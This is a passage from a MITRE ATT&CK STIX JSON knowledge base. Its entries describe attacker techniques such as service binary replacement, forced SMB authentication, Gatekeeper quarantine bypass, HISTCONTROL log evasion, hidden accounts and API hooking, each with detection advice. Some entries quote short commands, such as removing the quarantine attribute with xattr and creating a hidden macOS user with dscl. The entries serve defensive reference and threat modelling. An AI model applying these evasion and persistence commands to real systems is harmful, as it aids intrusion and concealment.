            "description": "Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n### Services\n\nManipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.\n\n### Executable Installers\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088). Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)",
            "external_references": [
                {
                    "external_id": "T1044",
                    "url": "https://attack.mitre.org/techniques/T1044",
                    "source_name": "mitre-attack"
                },
                {
                    "external_id": "CAPEC-17",
                    "url": "https://capec.mitre.org/data/definitions/17.html",
                    "source_name": "capec"
                },
                {
                    "url": "https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/",
                    "description": "Kugler, R. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017.",
                    "source_name": "Mozilla Firefox Installer DLL Hijack"
                },
                {
                    "url": "http://seclists.org/fulldisclosure/2015/Dec/34",
                    "description": "Kanthak, S. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe\tallows remote code execution with escalation of privilege. Retrieved March 10, 2017.",
                    "source_name": "Seclists Kanthak 7zip Installer"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Stefan Kanthak",
                "Travis Smith, Tripwire"
            ],
            "x_mitre_data_sources": [
                "File monitoring",
                "Services",
                "Process command-line parameters"
            ],
            "x_mitre_detection": "Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.",
            "x_mitre_effective_permissions": [
                "SYSTEM",
                "User",
                "Administrator"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "User"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "privilege-escalation",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:43.063Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "File and Directory Discovery",
            "description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. \n\n### Windows\n\nExample utilities used to obtain this information are <code>dir</code> and <code>tree</code>. (Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the Windows API.\n\n### Mac and Linux\n\nIn Mac and Linux, this kind of discovery is accomplished with the <code>ls</code>, <code>find</code>, and <code>locate</code> commands.",
            "external_references": [
                {
                    "external_id": "T1083",
                    "url": "https://attack.mitre.org/techniques/T1083",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "File monitoring",
                "Process monitoring",
                "Process command-line parameters"
            ],
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_system_requirements": [
                "Some folders may require Administrator, SYSTEM or specific user depending on permission levels and access controls"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "discovery",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:04.710Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Forced Authentication",
            "description": "The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources. Web Distributed Authoring and Versioning (WebDAV) is typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)\n\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information including the user's hashed credentials over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials, or reuse it for [Pass the Hash](https://attack.mitre.org/techniques/T1075). (Citation: Cylance Redirect to SMB)\n\nThere are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:\n\n* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to <code>file[:]//[remote address]/Normal.dotm</code> to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)\n* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as <code>\\\\[remote address]\\pic.png</code> that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)",
            "external_references": [
                {
                    "external_id": "T1187",
                    "url": "https://attack.mitre.org/techniques/T1187",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Server_Message_Block",
                    "description": "Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.",
                    "source_name": "Wikipedia Server Message Block"
                },
                {
                    "url": "https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/",
                    "description": "Stevens, D. (2017, November 13). WebDAV Traffic To Malicious Sites. Retrieved December 21, 2017.",
                    "source_name": "Didier Stevens WebDAV Traffic"
                },
                {
                    "url": "https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx",
                    "description": "Microsoft. (n.d.). Managing WebDAV Security (IIS 6.0). Retrieved December 21, 2017.",
                    "source_name": "Microsoft Managing WebDAV Security"
                },
                {
                    "url": "https://github.com/hob0/hashjacking",
                    "description": "Dunning, J. (2016, August 1). Hashjacking. Retrieved December 21, 2017.",
                    "source_name": "GitHub Hashjacking"
                },
                {
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/white_papers/RedirectToSMB.pdf",
                    "description": "Cylance. (2015, April 13). Redirect to SMB. Retrieved December 21, 2017.",
                    "source_name": "Cylance Redirect to SMB"
                },
                {
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A",
                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
                    "source_name": "US-CERT APT Energy Oct 2017"
                },
                {
                    "url": "https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/",
                    "description": "Malith, O. (2017, March 24). Places of Interest in Stealing NetNTLM Hashes. Retrieved January 26, 2018.",
                    "source_name": "Osanda Stealing NetNTLM Hashes"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Teodor Cimpoesu",
                "Sudhanshu Chauhan, @Sudhanshu_C"
            ],
            "x_mitre_data_sources": [
                "File monitoring",
                "Network protocol analysis",
                "Network device logs",
                "Process use of network"
            ],
            "x_mitre_detection": "Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause.\n\nMonitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "credential-access",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-01-16T16:13:52.465Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "description": "In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called <code>com.apple.quarantine</code>. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution. \n\nApps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won\u2019t set this flag. Additionally, other utilities or events like drive-by downloads don\u2019t necessarily set it either. This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command <code>xattr /path/to/MyApp.app</code> for <code>com.apple.quarantine</code>. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, <code>sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app</code>. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)\n \nIn typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS\u2019s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)",
            "external_references": [
                {
                    "external_id": "T1144",
                    "url": "https://attack.mitre.org/techniques/T1144",
                    "source_name": "mitre-attack"
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                {
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "source_name": "Methods of Mac Malware Persistence"
                },
                {
                    "url": "https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/",
                    "description": "Rich Trouton. (2012, November 20). Clearing the quarantine extended attribute from downloaded applications. Retrieved July 5, 2017.",
                    "source_name": "Clearing quarantine attribute"
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                    "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update",
                    "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.",
                    "source_name": "OceanLotus for OS X"
                },
                {
                    "url": "https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/",
                    "description": "Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper. Retrieved July 5, 2017.",
                    "source_name": "Bypassing Gatekeeper"
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            "description": "The Graphical User Interfaces (GUI) is a common way to interact with an operating system. Adversaries may use a system's GUI during an operation, commonly through a remote interactive session such as [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076), instead of through a [Command-Line Interface](https://attack.mitre.org/techniques/T1059), to search for information and execute files via mouse double-click events, the Windows Run command (Citation: Wikipedia Run Command), or other potentially difficult to monitor interactions.",
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                {
                    "external_id": "T1061",
                    "url": "https://attack.mitre.org/techniques/T1061",
                    "source_name": "mitre-attack"
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                    "url": "https://en.wikipedia.org/wiki/Run_command",
                    "description": "Wikipedia. (2018, August 3). Run Command. Retrieved October 12, 2018.",
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            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:50.342Z",
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            "description": "The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that \u201c ls\u201d will not be saved, but \u201cls\u201d would be saved by history. <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.",
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                {
                    "external_id": "T1148",
                    "url": "https://attack.mitre.org/techniques/T1148",
                    "source_name": "mitre-attack"
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            "x_mitre_permissions_required": [
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            "id": "attack-pattern--d40239b3-05ff-46d8-9bdd-b46d13463ef9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Hardware Additions",
            "description": "Computer accessories, computers, or networking hardware may be introduced into a system as a vector to gain execution. While public references of usage by APT groups are scarce, many penetration testers leverage hardware additions for initial access. Commercial and open source products are leveraged with capabilities such as passive network tapping (Citation: Ossmann Star Feb 2011), man-in-the middle encryption breaking (Citation: Aleks Weapons Nov 2015), keystroke injection (Citation: Hak5 RubberDuck Dec 2016), kernel memory reading via DMA (Citation: Frisk DMA August 2016), adding new wireless access to an existing network (Citation: McMillan Pwn March 2012), and others.",
            "external_references": [
                {
                    "external_id": "T1200",
                    "url": "https://attack.mitre.org/techniques/T1200",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html",
                    "description": "Michael Ossmann. (2011, February 17). Throwing Star LAN Tap. Retrieved March 30, 2018.",
                    "source_name": "Ossmann Star Feb 2011"
                },
                {
                    "url": "http://www.bsidesto.ca/2015/slides/Weapons_of_a_Penetration_Tester.pptx",
                    "description": "Nick Aleks. (2015, November 7). Weapons of a Pentester - Understanding the virtual & physical tools used by white/black hat hackers. Retrieved March 30, 2018.",
                    "source_name": "Aleks Weapons Nov 2015"
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                {
                    "url": "https://www.hak5.org/blog/main-blog/stealing-files-with-the-usb-rubber-ducky-usb-exfiltration-explained",
                    "description": "Hak5. (2016, December 7). Stealing Files with the USB Rubber Ducky \u2013 USB Exfiltration Explained. Retrieved March 30, 2018.",
                    "source_name": "Hak5 RubberDuck Dec 2016"
                },
                {
                    "url": "https://www.youtube.com/watch?v=fXthwl6ShOg",
                    "description": "Ulf Frisk. (2016, August 5). Direct Memory Attack the Kernel. Retrieved March 30, 2018.",
                    "source_name": "Frisk DMA August 2016"
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                    "url": "https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/",
                    "description": "Robert McMillan. (2012, March 3). The Pwn Plug is a little white box that can hack your network. Retrieved March 30, 2018.",
                    "source_name": "McMillan Pwn March 2012"
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
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            "x_mitre_detection": "Asset management systems may help with the detection of computer systems or network devices that should not exist on a network. \n\nEndpoint sensors may be able to detect the addition of hardware via USB, Thunderbolt, and other external device communication ports.",
            "x_mitre_platforms": [
                "Windows",
                "Linux",
                "macOS"
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            "modified": "2018-10-17T00:14:20.652Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Hidden Files and Directories",
            "description": "To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \u2018hidden\u2019 file. These files don\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls \u2013a</code> for Linux and macOS).\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.\n\n### Windows\n\nUsers can mark specific files as hidden by using the attrib.exe binary. Simply do <code>attrib +h filename</code> to mark a file or folder as hidden. Similarly, the \u201c+s\u201d marks a file as a system file and the \u201c+r\u201d flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively \u201c/S\u201d.\n\n### Linux/Mac\n\nUsers can mark specific files as hidden simply by putting a \u201c.\u201d as the first character in the file or folder name  (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, \u2018.\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \u201cls\u201d. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: <code>defaults write com.apple.finder AppleShowAllFiles YES</code>, and then relaunch the Finder Application.\n\n### Mac\n\nFiles on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker).\nMany applications create these hidden files and folders to store information so that it doesn\u2019t clutter up the user\u2019s workspace. For example, SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019s known hosts and keys.",
            "external_references": [
                {
                    "external_id": "T1158",
                    "url": "https://attack.mitre.org/techniques/T1158",
                    "source_name": "mitre-attack"
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                {
                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                    "source_name": "Sofacy Komplex Trojan"
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                {
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/",
                    "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
                    "source_name": "Antiquated Mac Malware"
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                    "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf",
                    "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.",
                    "source_name": "WireLurker"
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            "x_mitre_data_sources": [
                "File monitoring",
                "Process Monitoring",
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            "x_mitre_detection": "Monitor the file system and shell commands for files being created with a leading \".\" and the Windows command-line use of attrib.exe to add the hidden attribute.",
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                "Host forensic analysis"
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            "x_mitre_permissions_required": [
                "User"
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            "x_mitre_platforms": [
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                "macOS",
                "Windows"
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                    "kill_chain_name": "mitre-attack"
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                    "phase_name": "persistence",
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            "description": "Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in <code>/Library/Preferences/com.apple.loginwindow</code> called <code>Hide500Users</code> that prevents users with userIDs 500 and lower from appearing at the login screen. By using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: <code>sudo dscl . -create /Users/username UniqueID 401</code> (Citation: Cybereason OSX Pirrit).",
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                    "url": "https://attack.mitre.org/techniques/T1147",
                    "source_name": "mitre-attack"
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                {
                    "url": "https://www2.cybereason.com/research-osx-pirrit-mac-os-x-secuirty",
                    "description": "Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved July 8, 2017.",
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            "x_mitre_detection": "This technique prevents the new user from showing up at the log in screen, but all of the other signs of a new user still exist. The user still gets a home directory and will appear in the authentication logs.",
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            "description": "The configurations for how applications run on macOS and OS X are listed in property list (plist) files. One of the tags in these files can be <code>apple.awt.UIElement</code>, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window  (Citation: Antiquated Mac Malware).",
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                    "url": "https://attack.mitre.org/techniques/T1143",
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                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/",
                    "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
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            "modified": "2018-10-17T00:14:20.652Z",
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            "description": "Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. Hooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Endgame Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored. (Citation: Endgame Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. (Citation: Endgame Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.\n\nMalicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)\n\nHooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)",
            "external_references": [
                {
                    "external_id": "T1179",
                    "url": "https://attack.mitre.org/techniques/T1179",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://www.adlice.com/userland-rootkits-part-1-iat-hooks/",
                    "description": "Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017.",
                    "source_name": "Adlice Software IAT Hooks Oct 2014"
                },
                {
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "source_name": "Endgame Process Injection July 2017"
                },
                {
                    "url": "https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/",
                    "description": "Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017.",
                    "source_name": "EyeofRa Detecting Hooking June 2017"
                },
                {
                    "url": "http://www.gmer.net/",
                    "description": "GMER. (n.d.). GMER. Retrieved December 12, 2017.",
                    "source_name": "GMER Rootkits"
                },
                {
                    "url": "https://www.exploit-db.com/docs/17802.pdf",
                    "description": "Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved December 12, 2017.",
                    "source_name": "HighTech Bridge Inline Hooking Sept 2011"
                },
                {
                    "url": "https://github.com/jay/gethooks",
                    "description": "Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017.",
                    "source_name": "Jay GetHooks Sept 2011"
                },
                {
                    "url": "https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/",
                    "description": "Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017.",
                    "source_name": "MWRInfoSecurity Dynamic Hooking 2015"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx",
                    "description": "Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.",
                    "source_name": "Microsoft Hook Overview"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx",
                    "description": "Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017.",
                    "source_name": "Microsoft Process Snapshot"
                },
                {
                    "description": "Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017.",
                    "source_name": "Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017"
                },
                {
                    "url": "https://github.com/prekageo/winhook",
                    "description": "Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.",
                    "source_name": "PreKageo Winhook Jul 2011"
                },
                {
                    "url": "https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis",
                    "description": "Stack Exchange - Security. (2012, July 31). What are the methods to find hooked functions and APIs?. Retrieved December 12, 2017.",
                    "source_name": "StackExchange Hooks Jul 2012"
                },
                {
                    "url": "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf",
                    "description": "Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017.",
                    "source_name": "Symantec Windows Rootkits"
                },
                {
                    "url": "https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html",
                    "description": "Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.",
                    "source_name": "Volatility Detecting Hooks Sept 2012"
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                {
                    "url": "https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/",
                    "description": "Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017.",
                    "source_name": "Zairon Hooking Dec 2006"
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                    "description": "Xen. (n.d.). In Wikipedia. Retrieved November 13, 2014.",
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                    "description": "Myers, M., and Youndt, S. (2007). An Introduction to Hardware-Assisted Virtual Machine (HVM) Rootkits. Retrieved November 13, 2014.",
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                    "description": "virtualization.info. (Interviewer) & Liguori, A. (Interviewee). (2006, August 11). Debunking Blue Pill myth &#91;Interview transcript&#93;. Retrieved November 13, 2014.",
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                    "url": "https://en.wikipedia.org/wiki/Hypervisor",
                    "description": "Wikipedia. (2016, May 23). Hypervisor. Retrieved June 11, 2016.",
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                {
                    "url": "https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/",
                    "description": "Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017.",
                    "source_name": "Microsoft Dev Blog IFEO Mar 2010"
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                    "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview",
                    "description": "Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017.",
                    "source_name": "Microsoft GFlags Mar 2017"
                },
                {
                    "url": "https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml",
                    "description": "FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017.",
                    "source_name": "FSecure Hupigon"
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                {
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2",
                    "description": "Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017.",
                    "source_name": "Symantec Ushedix June 2008"
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                    "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit",
                    "description": "Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent Process Exit. Retrieved June 27, 2018.",
                    "source_name": "Microsoft Silent Process Exit NOV 2017"
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                    "url": "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/",
                    "description": "Moe, O. (2018, April 10). Persistence using GlobalFlags in Image File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.",
                    "source_name": "Oddvar Moe IFEO APR 2018"
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                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
